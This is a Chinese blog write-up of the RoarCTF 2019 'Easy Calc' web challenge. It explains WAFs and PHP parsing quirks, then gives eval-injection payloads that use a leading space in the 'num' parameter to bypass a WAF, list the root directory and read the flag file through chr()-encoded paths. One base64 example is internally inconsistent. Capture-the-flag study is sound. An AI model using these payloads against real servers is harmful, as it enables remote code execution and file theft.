[RoarCTF 2019]Easy Calc 1

  • WAF
  1. 参考文章:WAF是什么?一篇文章带你全面了解WAF_waf是软件还是硬件_Web Security Loop的博客-CSDN博客

Web应用程序防火墙,是一种用于保护Web应用程序的安全设备。Web应用程序是指通过Web浏览器或其他Web客户端访问的应用程序。WAF的目的是保护Web应用程序免受黑客、网络攻击和数据泄漏等安全威胁的攻击。

  1. 工作原理:

WAF可以通过对Web应用程序的流量进行过滤和监控,识别并阻止潜在的安全威胁。WAF可以检测Web应用程序中的各种攻击,例如SQL注入、跨站点脚本攻击(XSS)、跨站请求伪造(CSRF)等,并采取相应的措施,例如拦截请求、阻止访问、记录事件等。

WAF的工作原理通常包括以下几个步骤:

    流量识别:WAF识别来自客户端的请求,并对请求进行分析。WAF可以检查请求头、请求体、Cookie、URL参数等信息,并识别其中的攻击。

    攻击检测:WAF对识别的请求进行攻击检测。WAF可以使用多种技术来检测攻击,例如正则表达式、特征匹配、行为分析等。WAF可以检测多种攻击,包括SQL注入、XSS、CSRF、命令注入等。

    攻击响应:WAF根据检测结果采取相应的措施,例如拦截请求、阻止访问、记录事件等。WAF可以使用多种技术来响应攻击,例如重定向、报错、拦截等。

    日志记录:WAF记录所有请求和响应的详细信息,包括请求头、请求体、响应头、响应体等。WAF可以将日志发送给中央日志管理系统,以便进行分析和审计。
 

  •  file_get_contents函数

        file_get_contents漏洞是指在使用PHP函数file_get_contents()时,未对用户输入进行过滤或验证,导致攻击者可以通过构造恶意URL或文件路径来获取服务器上的敏感信息或执行恶意代码的安全漏洞。这种漏洞可能会导致服务器被入侵、数据泄露等安全问题。

       因此,file_get_contents()函数使用时,应对用户输入进行严格的过滤和验证,以确保服务器的安全。

  • 无参rce

参考文章有:无参数读文件和RCE总结 - 知乎

  • 利用scandir()列出目录和文件,var_dump()用于输出

 scandir()函数返回指定目录中的文件和目录的数组。
 scandir(/)相当于ls /
 var_dump()相当于echo

  • 利用PHP的字符串解析特性Bypass

参考文章:利用PHP的字符串解析特性Bypass - FreeBuf网络安全行业门户

PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST,查询字符串在解析的过程中会将某些字符删除或用下划线代替

PHP查询字符串的解析特性也可用以绕过WAF

  • phpinfo函数

参考文章:phpinfo()函数(常用)_lituxiu的博客-CSDN博客

     phpinfo函数可以显示出PHP 所有相关信息。是排查配置php是是否出错或漏配置模块的主要方式之一,只要访问到phpinfo()函数的web页面,即返回php的所有相关信息

  • PHP chr函数的运用     

    参考文章:PHP chr() 函数

                     Python chr() 函数 | 菜鸟教程

 运行结果为:

 

将43换成其16进制执行,也能得到同样的结果

  •     ASCII表如下:

    这里值得注意的是:

  • 数字0-9是由ASCII码48-57
  • 大写字母A-Z是由ASCII码65-90
  • 小写字母a-z是由ASCII码97-122

查看题目源代码

有如下发现:

 尝试访问calc.php

GET传入一个num,并且对num的值进行黑名单过滤,最后eval()执行

 但是他实际过滤的比他列出的黑名单的还要多

我们尝试在num前加一个空格去绕过WAF

大概就是只允许num的值为数字


这里借用沐目_01的了解

PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

1.删除空白符

2.将某些字符转换为下划线(包括空格)

 这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。


那我们只需绕过WAF对num的检测即可。用到PHP的字符串解析特性。

我们在num前加一个空格就行

我们可以采用如下来绕过得到flag

scandir()函数返回指定目录中的文件和目录的数组。
scandir(/)相当于ls /
var_dump()相当于echo

? num=var_dump(scandir(/))

相当于

? num=var_dump(scandir(chr(47)))

或者

? num=print_r(scandir(chr(47)));

相当于

?num=system(ls /)

找到f1agg

chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)相当于/f1agg

 所以

我们可以用file_get_contents

? num=file_get_contents(/f1agg)

相当于

? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

或者

? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))); 

相当于

? num=system(cat /f1agg)

得到f1agg

 也可以用highlight_file,用var_dump打印

? num=var_dump(highlight_file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

还可以用base64编码绕过

? num=file_get_contents(base64_decode("/f1agg"));

? num=file_get_contents(base64_decode("/f1agg"));

相当于

? num=file_get_contents(base64_decode(chr(34).chr(76).chr(50).chr(89).chr(120).chr(89).chr(87).chr(100).chr(110).chr(34)));

 参考wp有:

[RoarCTF 2019]Easy Calc_c4fx的博客-CSDN博客

[RoarCTF 2019]Easy Calc 1_snowlyzz的博客-CSDN博客

[RoarCTF 2019]Easy Calc_沐目_01的博客-CSDN博客

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值